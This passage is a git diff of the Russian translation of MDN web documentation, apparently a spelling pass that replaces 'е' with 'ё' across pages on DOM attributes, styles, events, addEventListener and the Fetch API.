<em>elt</em><span style="font-family: consolas,monaco,andale mono,monospace;">.setAttribute(</span><em>attr</em><span style="font-family: consolas,monaco,andale mono,monospace;">, null)</span>, чтобы удалить атрибут. Последний заставит значение <code>null</code> быть строкой <code>"null"</code>, <span class="short_text" id="result_box" lang="ru"><span>которая, вероятно,</span> <span>не то, что</span> <span>вы хотите</span><span>.</span></span></p> +<p>Несмотря на то, что метод <code style="font-style: normal;"><a href="/ru/docs/DOM/element.getAttribute" title="DOM/element.getAttribute">getAttribute()</a></code> возвращает null у удалённых атрибутов, вы должны использовать <a href="/ru/docs/DOM/element.removeAttribute" style="font-family: Consolas, Monaco, 'Andale Mono', monospace;" title="DOM/element.removeAttribute">removeAttribute()</a> вместо <em>elt</em><span style="font-family: consolas,monaco,andale mono,monospace;">.setAttribute(</span><em>attr</em><span style="font-family: consolas,monaco,andale mono,monospace;">, null)</span>, чтобы удалить атрибут. Последний заставит значение <code>null</code> быть строкой <code>"null"</code>, <span class="short_text" id="result_box" lang="ru"><span>которая, вероятно,</span> <span>не то, что</span> <span>вы хотите</span><span>.</span></span></p> -<p>Использование setAttribute() для изменения определенных атрибутов особенно значимо в XUL, так как работает непоследовательно, а атрибут определяет значение по умолчанию. Для того, чтобы получить или изменить текущие значения, вы должны использовать свойства. Например, elt.value вместо elt.setAttribure('value', val).</p> +<p>Использование setAttribute() для изменения определённых атрибутов особенно значимо в XUL, так как работает непоследовательно, а атрибут определяет значение по умолчанию. Для того, чтобы получить или изменить текущие значения, вы должны использовать свойства. Например, elt.value вместо elt.setAttribure('value', val).</p> <p>Чтобы установить атрибут, которому значение не нужно, такой как, например, атрибут <code>autoplay</code> элемента {{HTMLElement("audio")}}, используйте null или пустое значение. Например: <code><em>elt</em>.setAttribute('autoplay', '')</code></p> diff --git a/files/ru/web/api/element/slot/index.html b/files/ru/web/api/element/slot/index.html index 0cf309a075..7ff8d276c7 100644 --- a/files/ru/web/api/element/slot/index.html +++ b/files/ru/web/api/element/slot/index.html @@ -28,7 +28,7 @@ translation_of: Web/API/Element/slot <h2 id="Example" name="Example">Примеры</h2> -<p>В нашем <a href="https://github.com/mdn/web-components-examples/tree/master/simple-template">примере простого шаблона</a> (<a href="https://mdn.github.io/web-components-examples/simple-template/">смотри в прямом эфире</a>), мы создаем тривиальный пример пользовательского элемента с именем <code><my-paragraph></code>, в котором прикрепляется теневой корень, а затем заполняется с использованием содержимого шаблона, содержащего слот с именем <code>my-text</code>.</p> +<p>В нашем <a href="https://github.com/mdn/web-components-examples/tree/master/simple-template">примере простого шаблона</a> (<a href="https://mdn.github.io/web-components-examples/simple-template/">смотри в прямом эфире</a>), мы создаём тривиальный пример пользовательского элемента с именем <code><my-paragraph></code>, в котором прикрепляется теневой корень, а затем заполняется с использованием содержимого шаблона, содержащего слот с именем <code>my-text</code>.</p> <p>Когда в документе используется <code><my-paragraph></code>, слот заполняется слот-элементом, включая его в элемент с атрибутом <code><a href="/en-US/docs/Web/HTML/Global_attributes/slot">slot</a></code> со значением <code>my-text</code>. Вот один из таких примеров:</p> diff --git a/files/ru/web/api/elementcssinlinestyle/style/index.html b/files/ru/web/api/elementcssinlinestyle/style/index.html index 7180bedfa6..df3bcd15b5 100644 --- a/files/ru/web/api/elementcssinlinestyle/style/index.html +++ b/files/ru/web/api/elementcssinlinestyle/style/index.html @@ -20,13 +20,13 @@ original_slug: Web/API/HTMLElement/style <div>{{ APIRef("HTML DOM") }}</div> </div> -<p>Свойство<strong> </strong><code><strong>HTMLElement.style</strong></code> используется для получения и установки инлайновых стилей. При получении возвращается объект <a href="/en-US/docs/DOM/CSSStyleDeclaration" title="DOM/CSSStyleDeclaration"><code>CSSStyleDeclaration</code></a> , который содержит список из всех свойств стилей для этого элемента с значениями заданными для атрибутов , что определенны в инлайновом стиле (см. <a href="/en-US/docs/Web/HTML/Global_attributes#style"><code>атрибут</code> стиля</a>) элемента. См. <a href="/en-US/docs/Web/CSS/CSS_Properties_Reference" title="/en-US/docs/Web/CSS/CSS_Properties_Reference">CSS Properties Reference</a> для получения списка CSS свойств применимых вместе со style. </p> +<p>Свойство<strong> </strong><code><strong>HTMLElement.style</strong></code> используется для получения и установки инлайновых стилей. При получении возвращается объект <a href="/en-US/docs/DOM/CSSStyleDeclaration" title="DOM/CSSStyleDeclaration"><code>CSSStyleDeclaration</code></a> , который содержит список из всех свойств стилей для этого элемента с значениями заданными для атрибутов , что определённы в инлайновом стиле (см. <a href="/en-US/docs/Web/HTML/Global_attributes#style"><code>атрибут</code> стиля</a>) элемента. См. <a href="/en-US/docs/Web/CSS/CSS_Properties_Reference" title="/en-US/docs/Web/CSS/CSS_Properties_Reference">CSS Properties Reference</a> для получения списка CSS свойств применимых вместе со style. </p> <h3 id="Настройка_стилей">Настройка стилей</h3> <p>Свойство style имеет тот же приоритет (и выше) в каскаде CSS как и прямая декларация стиля через атрибут style, полезен для настройки стиля отдельного специфичного элемента.</p> -<p>Стили не следует устанавливать непосредственно через свойство <code>style</code> (например <code>elt.style = "color: blue;"</code>), поскольку оно считается доступным только для чтения и атрибут style возвращает объект <code>CSSStyleDeclaration</code> который доступен только для чтения. Вместо этого стили могут быть установлены путем присвоения значений свойствам <code>style</code>. Для добавления определенных стилей для элемента без изменения других свойств стилей предпочтительно использовать отдельные свойства <code>style</code> (например <code>elt.style.color = '...'</code>). +<p>Стили не следует устанавливать непосредственно через свойство <code>style</code> (например <code>elt.style = "color: blue;"</code>), поскольку оно считается доступным только для чтения и атрибут style возвращает объект <code>CSSStyleDeclaration</code> который доступен только для чтения. Вместо этого стили могут быть установлены путём присвоения значений свойствам <code>style</code>. Для добавления определённых стилей для элемента без изменения других свойств стилей предпочтительно использовать отдельные свойства <code>style</code> (например <code>elt.style.color = '...'</code>). При использовании <br><code>elt.style.cssText = '...'</code> или <code>elt.setAttribute('style','...')</code> устанавливаются стили перезаписывая уже существующие. Обратите внимание, что имена свойств стилей задаются в camel-case а не в kebab-case <code>elt.style.<property></code> (т.е., <code>elt.style.fontSize</code>, а не <code>elt.style.font-size</code>).</p> <p>Объявленные стили сбрасываются присваиванием значения <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">null</span></font>, <br><code>elt.style.color = null</code></p> @@ -38,7 +38,7 @@ elt.style.cssText = "color: blue; border: 1px solid black"; // Или elt.setAttribute("style", "color:red; border: 1px solid blue;"); -// Устанавливает определенный стиль оставляя другие значения стиля нетронутыми +// Устанавливает определённый стиль оставляя другие значения стиля нетронутыми elt.style.color = "blue";</code></pre> <h3 id="Получение_стиль-информации">Получение стиль-информации</h3> diff --git a/files/ru/web/api/event/event/index.html b/files/ru/web/api/event/event/index.html index c18a0ab884..0b608e61b0 100644 --- a/files/ru/web/api/event/event/index.html +++ b/files/ru/web/api/event/event/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/Event/Event --- <p>{{APIRef("DOM")}}</p> -<p>Конструктор <code><strong>Event()</strong></code> создает новый объект события {{domxref("Event")}}.</p> +<p>Конструктор <code><strong>Event()</strong></code> создаёт новый объект события {{domxref("Event")}}.</p> <h2 id="Синтаксис">Синтаксис</h2> diff --git a/files/ru/web/api/event/index.html b/files/ru/web/api/event/index.html index 41b3027031..05babc71de 100644 --- a/files/ru/web/api/event/index.html +++ b/files/ru/web/api/event/index.html @@ -78,7 +78,7 @@ translation_of: Web/API/Event <dl> <dt>{{domxref("Event.Event", "Event()")}}</dt> - <dd>Создает объект <code>Event</code> и возвращает его вызывающему.</dd> + <dd>Создаёт объект <code>Event</code> и возвращает его вызывающему.</dd> </dl> <h2 id="Properties" name="Properties">Свойства</h2> @@ -115,7 +115,7 @@ translation_of: Web/API/Event <dt>{{domxref("Event.timeStamp")}} {{readonlyinline}}</dt> <dd>Время, когда событие было создано (в миллисекундах). По спецификации это время от начала Эпохи (Unix Epoch), но в действительности в разных браузерах определяется по-разному; кроме того, ведётся работа по изменению его на {{domxref("DOMHighResTimeStamp")}} тип.</dd> <dt>{{domxref("Event.type")}} {{readonlyinline}}</dt> - <dd>Название события (без учета регистра символов).</dd> + <dd>Название события (без учёта регистра символов).</dd> <dt>{{domxref("Event.isTrusted")}} {{readonlyinline}}</dt> <dd>Показывает было или нет событие инициировано браузером (например, по клику мышью) или из скрипта (например, через функцию создания события, такую как <a href="/en-US/docs/DOM/event.initEvent">event.initEvent</a>)</dd> </dl> diff --git a/files/ru/web/api/event/type/index.html b/files/ru/web/api/event/type/index.html index 11512d0c29..b007fc956f 100644 --- a/files/ru/web/api/event/type/index.html +++ b/files/ru/web/api/event/type/index.html @@ -11,7 +11,7 @@ translation_of: Web/API/Event/type --- <p>{{APIRef}}</p> -<p><code><strong>Event.type</strong></code> - это доступное только для чтения свойство, возвращающее строку, содержащую тип события. Оно устанавливается в момент создания события и это имя обычно используется для ссылки на определенное событие.</p> +<p><code><strong>Event.type</strong></code> - это доступное только для чтения свойство, возвращающее строку, содержащую тип события. Оно устанавливается в момент создания события и это имя обычно используется для ссылки на определённое событие.</p> <p>Аргумент <em><code>event</code></em> функций {{ domxref("EventTarget.addEventListener()") }} и {{ domxref("EventTarget.removeEventListener()") }} не чувствителен к регистру.</p> diff --git a/files/ru/web/api/eventtarget/addeventlistener/index.html b/files/ru/web/api/eventtarget/addeventlistener/index.html index c012bbf4f9..9986963aa4 100644 --- a/files/ru/web/api/eventtarget/addeventlistener/index.html +++ b/files/ru/web/api/eventtarget/addeventlistener/index.html @@ -12,7 +12,7 @@ translation_of: Web/API/EventTarget/addEventListener --- <p>{{apiref("DOM Events")}}</p> -<p>Метод <code>EventTarget.addEventListener()</code> регистрирует определенный обработчик события, вызванного на {{domxref("EventTarget")}}.</p> +<p>Метод <code>EventTarget.addEventListener()</code> регистрирует определённый обработчик события, вызванного на {{domxref("EventTarget")}}.</p> <p>{{domxref("EventTarget")}} может быть {{domxref("Element")}}, {{domxref("Document")}}, {{domxref("Window")}}, или любым другим объектом, поддерживающим события (таким как <code style="font-style: normal;"><a href="/ru/docs/DOM/XMLHttpRequest" title="XMLHttpRequest">XMLHttpRequest</a></code>).</p> @@ -38,7 +38,7 @@ target</em>.addEventListener(<em>type</em>, <em>listener</em>[, <em>useCapture</ <ul> <li><code>capture</code>: {{jsxref("Boolean")}} указывает, что события этого типа будут отправлены зарегистрированному обработчику <code>listener</code> перед отправкой на <code>EventTarget</code>, расположенный ниже в дереве DOM.</li> <li><code>once</code>: {{jsxref("Boolean")}} указывает, что обработчик должен быть вызван не более одного раза после добавления. Если <code>true</code>, обработчик автоматически удаляется при вызове.</li> - <li><code>passive</code>: {{jsxref("Boolean")}} указывает, что обработчик никогда не вызовет <code>preventDefault()</code>. Если все же вызов будет произведен, браузер должен игнорировать его и генерировать консольное предупреждение. Пример {{anch("Улучшение производительности прокрутки с помощью passive true")}}</li> + <li><code>passive</code>: {{jsxref("Boolean")}} указывает, что обработчик никогда не вызовет <code>preventDefault()</code>. Если все же вызов будет произведён, браузер должен игнорировать его и генерировать консольное предупреждение. Пример {{anch("Улучшение производительности прокрутки с помощью passive true")}}</li> <li>{{non-standard_inline}}<code> mozSystemGroup</code>: {{jsxref("Boolean")}} указывает, что обработчик должен быть добавлен в системную группу. Доступно только в коде, запущенном в XBL или в <a href="https://chrome.google.com/webstore/detail/open-with-firefox/poeacjbaiakjnaepdjgggojcjoajakmd">расширении Chrome</a>.</li> </ul> </dd> @@ -52,7 +52,7 @@ target</em>.addEventListener(<em>type</em>, <em>listener</em>[, <em>useCapture</ <dd>Если равно <code>true</code>, обработчик будет получать сгенерированные события, посланные со страницы (по умолчанию равно <code>false</code> для chrome и <code>true</code> для обычных веб-страниц). Этот параметр доступен только в Gecko и в основном полезен для использования в дополнениях и самом браузере. Смотрите <a href="/ru/docs/Archive/Add-ons/Interaction_between_privileged_and_non-privileged_pages" title="Code snippets/Interaction between privileged and non-privileged pages">Взаимодействие между привилегированными и непривилегированными страницами</a> для примеров использования.</dd> </dl> -<p>Прежде чем использовать определенное значение в объекте <code>options</code>, рекомендуется убедиться, что браузер пользователя поддерживает его, поскольку это дополнение, которое не все браузеры поддерживали исторически.</p> +<p>Прежде чем использовать определённое значение в объекте <code>options</code>, рекомендуется убедиться, что браузер пользователя поддерживает его, поскольку это дополнение, которое не все браузеры поддерживали исторически.</p> <h3 id="Возвращаемое_значение">Возвращаемое значение</h3> @@ -78,7 +78,7 @@ target</em>.addEventListener(<em>type</em>, <em>listener</em>[, <em>useCapture</ <h3 id="Безопасная_проверка_поддержки_option">Безопасная проверка поддержки <code>option</code></h3> -<p>В более старых версиях спецификации DOM третьим параметром <code>addEventListener</code> было логическое значение, указывающее, следует ли захватывать событие на этапе погружения. Со временем стало ясно, что необходимо больше вариантов. Вместо добавления дополнительных параметров в функцию (усложняя ситуацию при использовании необязательных значений) третий параметр был изменен на объект, который может содержать различные свойства, определяющие значения параметров для настройки обработчика событий.</p> +<p>В более старых версиях спецификации DOM третьим параметром <code>addEventListener</code> было логическое значение, указывающее, следует ли захватывать событие на этапе погружения. Со временем стало ясно, что необходимо больше вариантов. Вместо добавления дополнительных параметров в функцию (усложняя ситуацию при использовании необязательных значений) третий параметр был изменён на объект, который может содержать различные свойства, определяющие значения параметров для настройки обработчика событий.</p> <p>Поскольку старые браузеры (а также некоторые не слишком старые браузеры) по-прежнему предполагают, что третий параметр является логическим, возникает необходимость создания своего кода, чтобы разумно обрабатывать этот сценарий. Вы можете сделать это, используя функцию обнаружения для каждого из интересующих вас параметров.</p> @@ -96,16 +96,16 @@ try { window.addEventListener("test", null, options); } catch(err) {}</pre> -<p>Этот код создает объект <code>options</code> с геттером для свойства passive, устанавливающим флаг <code>passiveSupported</code> в <code>true</code>, если он вызван. Это означает, что если браузер проверяет значение свойства <code>passive</code> на объекте <code>options</code>, значение <code>passiveSupported</code> будет установлено в true; в противном случае он останется ложным. Затем мы вызываем <code>addEventListener</code>, чтобы настроить фальшивый обработчик событий, указав эти параметры для проверки опций, если браузер распознает объект в качестве третьего параметра.</p> +<p>Этот код создаёт объект <code>options</code> с геттером для свойства passive, устанавливающим флаг <code>passiveSupported</code> в <code>true</code>, если он вызван. Это означает, что если браузер проверяет значение свойства <code>passive</code> на объекте <code>options</code>, значение <code>passiveSupported</code> будет установлено в true; в противном случае он останется ложным. Затем мы вызываем <code>addEventListener</code>, чтобы настроить фальшивый обработчик событий, указав эти параметры для проверки опций, если браузер распознает объект в качестве третьего параметра.</p> -<p>Для проверки поддержки использования какой-либо опции можно просто добавить геттер для нее, используя код, подобный тому, что показан выше.</p> +<p>Для проверки поддержки использования какой-либо опции можно просто добавить геттер для неё, используя код, подобный тому, что показан выше.</p> -<p>Если вы хотите добавить обработчик событий, использующий параметры, о которых идет речь, вы можете сделать это подобным образом:</p> +<p>Если вы хотите добавить обработчик событий, использующий параметры, о которых идёт речь, вы можете сделать это подобным образом:</p> <pre class="brush: js notranslate">someElement.addEventListener("mouseup", handleMouseUp, passiveSupported ? { passive: true } : false);</pre> -<p>Здесь мы добавляем обработчик события {{event ("mouseup")}} элемента <code>someElement</code>. Для третьего параметра, если <code>passiveSupported</code> имеет значение <code>true</code>, мы указываем объект <code>options</code> с <code>passive: true</code>; в противном случае мы знаем, что нам нужно передать логическое значение, и мы передаем <code>false</code> как значение параметра <code>useCapture</code>.</p> +<p>Здесь мы добавляем обработчик события {{event ("mouseup")}} элемента <code>someElement</code>. Для третьего параметра, если <code>passiveSupported</code> имеет значение <code>true</code>, мы указываем объект <code>options</code> с <code>passive: true</code>; в противном случае мы знаем, что нам нужно передать логическое значение, и мы передаём <code>false</code> как значение параметра <code>useCapture</code>.</p> <p>Вы можете использовать стороннюю библиотеку, такую как <a href="https://modernizr.com/docs">Modernizr</a> или <a href="https://github.com/rafrex/detect-it">Detect It</a>, чтобы проверить поддержку необходимого свойства.</p> diff --git a/files/ru/web/api/eventtarget/removeeventlistener/index.html b/files/ru/web/api/eventtarget/removeeventlistener/index.html index 12a128fb9c..86a4b41898 100644 --- a/files/ru/web/api/eventtarget/removeeventlistener/index.html +++ b/files/ru/web/api/eventtarget/removeeventlistener/index.html @@ -34,7 +34,7 @@ translation_of: Web/API/EventTarget/removeEventListener </dd> <dt><code>useCapture</code> {{optional_inline}}</dt> <dd>Указывает, был ли удаляемый {{domxref("EventListener")}}зарегистрирован как перехватывающий обработчик, или нет. Если этот параметр отсутствует, предполагается значение по умолчанию:<code>false</code>.</dd> - <dd>Если обработчик был зарегистрирован дважды, один раз с перехватом (с <code>capture</code>) и один - без, каждый из них должен быть удален по отдельности. Удаление перехватывающего обработчика никак не затрагивает неперехватывающую версию этого же обработчика, и наоборот.</dd> + <dd>Если обработчик был зарегистрирован дважды, один раз с перехватом (с <code>capture</code>) и один - без, каждый из них должен быть удалён по отдельности. Удаление перехватывающего обработчика никак не затрагивает неперехватывающую версию этого же обработчика, и наоборот.</dd> </dl> <div class="note"><strong>Заметка:</strong> <code>useCapture</code> требуется в большинстве основных браузеров старых версий. Если вы хотите поддерживать большую совместимость, вы всегда должны использовать параметр <code>useCapture</code>.</div> @@ -49,7 +49,7 @@ translation_of: Web/API/EventTarget/removeEventListener <h2 id="Compatibility" name="Compatibility">Примечания</h2> -<p>Если {{domxref("EventListener")}} был удален из {{domxref("EventTarget")}} процессе обработки события (например предшествующим {{domxref("EventListener")}} того же типа), он не будет вызван. После удаления, {{domxref("EventListener")}} не будет вызываться, однако его можно назначить заново.</p> +<p>Если {{domxref("EventListener")}} был удалён из {{domxref("EventTarget")}} процессе обработки события (например предшествующим {{domxref("EventListener")}} того же типа), он не будет вызван. После удаления, {{domxref("EventListener")}} не будет вызываться, однако его можно назначить заново.</p> <p>Вызов <code>removeEventListener()</code> с параметрами, не соответствующими ни одному зарегистрированному {{domxref("EventListener")}} в <code>EventTarget</code>, не имеет никакого эффекта.</p> diff --git a/files/ru/web/api/extendableevent/waituntil/index.html b/files/ru/web/api/extendableevent/waituntil/index.html index 61283c7031..0940ef1c50 100644 --- a/files/ru/web/api/extendableevent/waituntil/index.html +++ b/files/ru/web/api/extendableevent/waituntil/index.html @@ -9,7 +9,7 @@ translation_of: Web/API/ExtendableEvent/waitUntil <p>События <code>install</code> в {{domxref("ServiceWorkerGlobalScope", "service workers")}} используют <code>waitUntil()</code> чтобы задержать service worker в {{domxref("ServiceWorkerRegistration.installing", "installing")}} фазе пока не завершатся задачи. Если обещание переданное в <code>waitUntil()</code> отклоняется, установка считается неудачной и устанавливаемый service worker отбрасывается. В первую очередь это используется для гарантии того, что service worker не рассматривается как установленный (installed), пока все основные кэши на которые он зависит успешно не заполнены.</p> -<p>События <code>activate</code> в {{domxref("ServiceWorkerGlobalScope", "service workers")}} используют <code>waitUntil()</code> для размещения в буфере функциональных событий таких как <code>fetch</code> и <code>push</code> пока обещание переданное в <code>waitUntil()</code> не завершится успешно. Это дает service worker время, чтобы обновить схемы базы данных и удалить устаревшие {{domxref("Cache", "caches")}}, таким образом другие события могут полагаться на полностью обновленное состояние.</p> +<p>События <code>activate</code> в {{domxref("ServiceWorkerGlobalScope", "service workers")}} используют <code>waitUntil()</code> для размещения в буфере функциональных событий таких как <code>fetch</code> и <code>push</code> пока обещание переданное в <code>waitUntil()</code> не завершится успешно. Это даёт service worker время, чтобы обновить схемы базы данных и удалить устаревшие {{domxref("Cache", "caches")}}, таким образом другие события могут полагаться на полностью обновлённое состояние.</p> <p>Метод <code>waitUntil()</code> должен быть изначально вызван внутри колбэка события (<em>event callback</em>), но после этого он может быть вызван множество раз, до тех пор пока все обещания переданные в него не завершатся успешно.</p> diff --git a/files/ru/web/api/fetch_api/cross-global_fetch_usage/index.html b/files/ru/web/api/fetch_api/cross-global_fetch_usage/index.html index 2770db2a0f..f59ccb869f 100644 --- a/files/ru/web/api/fetch_api/cross-global_fetch_usage/index.html +++ b/files/ru/web/api/fetch_api/cross-global_fetch_usage/index.html @@ -3,7 +3,7 @@ title: Cross-global fetch usage slug: Web/API/Fetch_API/Cross-global_fetch_usage translation_of: Web/API/Fetch_API/Cross-global_fetch_usage --- -<p class="summary">Эта статья объясняет крайний случай, который случается с fetch (и потенциально с другими API, предоставляющими такой же способ получения данных). Когда cross-origin fetch, включающий относительный URL, инициируется из {{htmlelement("iframe")}}, относительный URL может использовать текущий глобальный location вместо того что задается в iframe.</p> +<p class="summary">Эта статья объясняет крайний случай, который случается с fetch (и потенциально с другими API, предоставляющими такой же способ получения данных). Когда cross-origin fetch, включающий относительный URL, инициируется из {{htmlelement("iframe")}}, относительный URL может использовать текущий глобальный location вместо того что задаётся в iframe.</p> <h2 id="Крайний_случай">Крайний случай</h2> @@ -22,7 +22,7 @@ translation_of: Web/API/Fetch_API/Cross-global_fetch_usage <pre class="brush: js">let absolute = new URL(relative, window.location.href)</pre> -<p>Это не проблема как таковая. Просто разные API, демонстрирующие такое поведение, делали его несовместимым с поведением, определенным в спецификации, что может привести к проблемам в дальнейшем.</p> +<p>Это не проблема как таковая. Просто разные API, демонстрирующие такое поведение, делали его несовместимым с поведением, определённым в спецификации, что может привести к проблемам в дальнейшем.</p> <h2 id="Решение">Решение</h2> @@ -30,4 +30,4 @@ translation_of: Web/API/Fetch_API/Cross-global_fetch_usage <pre class="brush: js">let absolute = new URL(relative, frame.contentWindow.location.href)</pre> -<p>Ведется много дискуссий о том, как привести новые спецификации в соответствие с этим изменением поведения, для того чтобы уменьшить возможные проблемы в будущем.</p> +<p>Ведётся много дискуссий о том, как привести новые спецификации в соответствие с этим изменением поведения, для того чтобы уменьшить возможные проблемы в будущем.</p> diff --git a/files/ru/web/api/fetch_api/index.html b/files/ru/web/api/fetch_api/index.html index 90942a2c13..a4d89b389b 100644 --- a/files/ru/web/api/fetch_api/index.html +++ b/files/ru/web/api/fetch_api/index.html @@ -18,7 +18,7 @@ translation_of: Web/API/Fetch_API <h2 id="Определения_и_использование">Определения и использование</h2> -<p>Fetch обеспечивает обобщенное определение объектов {{DOMxRef("Request")}} и {{DOMxRef("Response")}} (и других вещей, связанных с сетевыми запросами). Это позволит им использоваться везде, где необходимо в будущем, в том числе и для service workers, Cache API и других подобных технологий, которые обрабатывают или изменяют запросы (requests) и ответы (responses), а так же в любых других случаях, которые могут потребовать от вас генерировать свой собственный ответ программно.</p> +<p>Fetch обеспечивает обобщённое определение объектов {{DOMxRef("Request")}} и {{DOMxRef("Response")}} (и других вещей, связанных с сетевыми запросами). Это позволит им использоваться везде, где необходимо в будущем, в том числе и для service workers, Cache API и других подобных технологий, которые обрабатывают или изменяют запросы (requests) и ответы (responses), а так же в любых других случаях, которые могут потребовать от вас генерировать свой собственный ответ программно.</p> <p>Это также предоставляет определение в отношение таких понятий, как CORS и семантика заголовков HTTP origin, заменяя их обособленные определения где бы то ни было.</p> @@ -36,7 +36,7 @@ translation_of: Web/API/Fetch_API <ul> <li> - <p>Обещание, возвращенное из <code>fetch()</code>, <strong>не будет отвергнуто при статусе ошибки HTTP</strong>, даже если ответ является HTTP <code>404</code> или <code>500</code>. Вместо этого, оно будет разрешаться нормально (со статусом <code>ok</code> установленным в <code>false</code>), и будет отклоняться только при сбое в сети или если что-то помешало завершению запроса.</p> + <p>Обещание, возвращённое из <code>fetch()</code>, <strong>не будет отвергнуто при статусе ошибки HTTP</strong>, даже если ответ является HTTP <code>404</code> или <code>500</code>. Вместо этого, оно будет разрешаться нормально (со статусом <code>ok</code> установленным в <code>false</code>), и будет отклоняться только при сбое в сети или если что-то помешало завершению запроса.</p> </li> <li> <p><code>fetch() </code>может получать межсайтовые куки-файлы; таким образом вы можете установить межсайтовую сессию используя <code>fetch</code>.</p> @@ -48,7 +48,7 @@ translation_of: Web/API/Fetch_API <h3 id="Прерывание_выборки">Прерывание выборки</h3> -<p>Браузеры начали добавлять экспериментальную поддержку для {{domxref("AbortController")}} и {{domxref("AbortSignal")}} интерфейсов (aka The Abort API), которые позволяют прерывать операции, такие как Fetch и XHR, если они еще не завершены. Подробности смотрите на страницах интерфейсов.</p> +<p>Браузеры начали добавлять экспериментальную поддержку для {{domxref("AbortController")}} и {{domxref("AbortSignal")}} интерфейсов (aka The Abort API), которые позволяют прерывать операции, такие как Fetch и XHR, если они ещё не завершены. Подробности смотрите на страницах интерфейсов.</p> <h2 id="Fetch_интерфейсы">Fetch интерфейсы</h2> diff --git a/files/ru/web/api/fetch_api/using_fetch/index.html b/files/ru/web/api/fetch_api/using_fetch/index.html index f093df7ebf..77244b0d5a 100644 --- a/files/ru/web/api/fetch_api/using_fetch/index.html +++ b/files/ru/web/api/fetch_api/using_fetch/index.html @@ -10,7 +10,7 @@ translation_of: Web/API/Fetch_API/Using_Fetch <p>Обратите внимание, <code>fetch</code> спецификация отличается от <code>jQuery.ajax()</code> в основном в двух пунктах:</p> <ul> - <li>Promise возвращаемый вызовом <code>fetch()</code> <strong>не перейдет в состояние "отклонено" из-за ответа HTTP, который считается ошибкой</strong>, даже если ответ HTTP 404 или 500. Вместо этого, он будет выполнен нормально (с значением false в статусе <code>ok</code> ) и будет отклонён только при сбое сети или если что-то помешало запросу выполниться.</li> + <li>Promise возвращаемый вызовом <code>fetch()</code> <strong>не перейдёт в состояние "отклонено" из-за ответа HTTP, который считается ошибкой</strong>, даже если ответ HTTP 404 или 500. Вместо этого, он будет выполнен нормально (с значением false в статусе <code>ok</code> ) и будет отклонён только при сбое сети или если что-то помешало запросу выполниться.</li> <li>По умолчанию, <code>fetch</code> <strong>не будет отправлять или получать cookie файлы </strong>с сервера, в результате чего запросы будут осуществляться без проверки подлинности, что приведёт<span class="tlid-translation translation" lang="ru"><span title=""> к неаутентифицированным запросам</span></span>, если сайт полагается на проверку пользовательской сессии (для отправки cookie файлов в аргументе <a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/fetch#Parameters">init options</a> должно быть задано значение свойства <em>credentials</em> отличное от значения по умолчанию <code>omit</code>).</li> </ul> @@ -76,7 +76,7 @@ postData('https://example.com/answer', { answer: 42 }) credentials: 'include' })</code></pre> -<p>Если вы хотите отправлять запрос с учетными данными только если URL принадлежит одному источнику (origin) что и вызывающий его скрипт, добавьте <code>credentials: 'same-origin'</code>.</p> +<p>Если вы хотите отправлять запрос с учётными данными только если URL принадлежит одному источнику (origin) что и вызывающий его скрипт, добавьте <code>credentials: 'same-origin'</code>.</p> <pre><code>// Вызывающий скрипт принадлежит источнику 'https://example.com' @@ -316,7 +316,7 @@ console.log(myHeaders.get("X-Custom-Header")); // [ ]</pre> <h2 id="Объекты_ответа">Объекты ответа</h2> -<p>Как вы видели выше, экземпляр {{domxref("Response")}} будет возвращен когда <code>fetch()</code> промис будет исполнен.</p> +<p>Как вы видели выше, экземпляр {{domxref("Response")}} будет возвращён когда <code>fetch()</code> промис будет исполнен.</p> <p>Свойства объекта-ответа которые чаще всего используются:</p> @@ -371,7 +371,7 @@ console.log(myHeaders.get("X-Custom-Header")); // [ ]</pre> <li>{{domxref("Body.formData","formData()")}}</li> </ul> -<p>Это делает использование нетекстовых данных более легким, чем при XMR.</p> +<p>Это делает использование нетекстовых данных более лёгким, чем при XMR.</p> <p>В запросе можно установить параметры для отправки тела запроса:</p> @@ -385,7 +385,7 @@ console.log(myHeaders.get("X-Custom-Header")); // [ ]</pre> <h2 id="Функция_обнаружения">Функция обнаружения</h2> -<p>Поддержка Fetch API может быть обнаружена путем проверки наличия {{domxref("Headers")}}, {{domxref("Request")}}, {{domxref("Response")}} или {{domxref("GlobalFetch.fetch","fetch()")}} в области видимости {{domxref("Window")}} или {{domxref("Worker")}}. Для примера:</p> +<p>Поддержка Fetch API может быть обнаружена путём проверки наличия {{domxref("Headers")}}, {{domxref("Request")}}, {{domxref("Response")}} или {{domxref("GlobalFetch.fetch","fetch()")}} в области видимости {{domxref("Window")}} или {{domxref("Worker")}}. Для примера:</p> <pre class="brush: js">if (self.fetch) { // запустить мой fetch запрос здесь @@ -395,7 +395,7 @@ console.log(myHeaders.get("X-Custom-Header")); // [ ]</pre> <h2 id="Полифил">Полифил</h2> -<p>Для того, чтобы использовать Fetch в неподдерживаемых браузерах, существует <a href="https://github.com/github/fetch">Fetch Polyfill</a> , который воссоздает функциональность для не поддерживающих браузеров.</p> +<p>Для того, чтобы использовать Fetch в неподдерживаемых браузерах, существует <a href="https://github.com/github/fetch">Fetch Polyfill</a> , который воссоздаёт функциональность для не поддерживающих браузеров.</p> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/api/fetchevent/index.html b/files/ru/web/api/fetchevent/index.html index d0e2454f50..c95577b858 100644 --- a/files/ru/web/api/fetchevent/index.html +++ b/files/ru/web/api/fetchevent/index.html @@ -11,7 +11,7 @@ translation_of: Web/API/FetchEvent <dl> <dt>{{domxref("FetchEvent.FetchEvent()", "FetchEvent()")}}</dt> - <dd>Создает новый объект <code>FetchEvent</code>. Как правило, данный конструктор не используется. Браузер самостоятельно создает данные объекты и передает их в обработчик событий <code>fetch</code>.</dd> + <dd>Создаёт новый объект <code>FetchEvent</code>. Как правило, данный конструктор не используется. Браузер самостоятельно создаёт данные объекты и передаёт их в обработчик событий <code>fetch</code>.</dd> </dl> <h2 id="Свойства">Свойства</h2> diff --git a/files/ru/web/api/file/filename/index.html b/files/ru/web/api/file/filename/index.html index 912bfe49ca..6b236d1cf1 100644 --- a/files/ru/web/api/file/filename/index.html +++ b/files/ru/web/api/file/filename/index.html @@ -9,7 +9,7 @@ translation_of: Web/API/File/fileName <h2 id="Summary">Summary</h2> -<p>Возвращает имя файла. В целях безопасности путь исключен из этого свойства.</p> +<p>Возвращает имя файла. В целях безопасности путь исключён из этого свойства.</p> <div class="note">Это свойство исключено. Используйте вместо него {{domxref("File.name")}}.</div> @@ -25,7 +25,7 @@ translation_of: Web/API/File/fileName <p>Не является частью 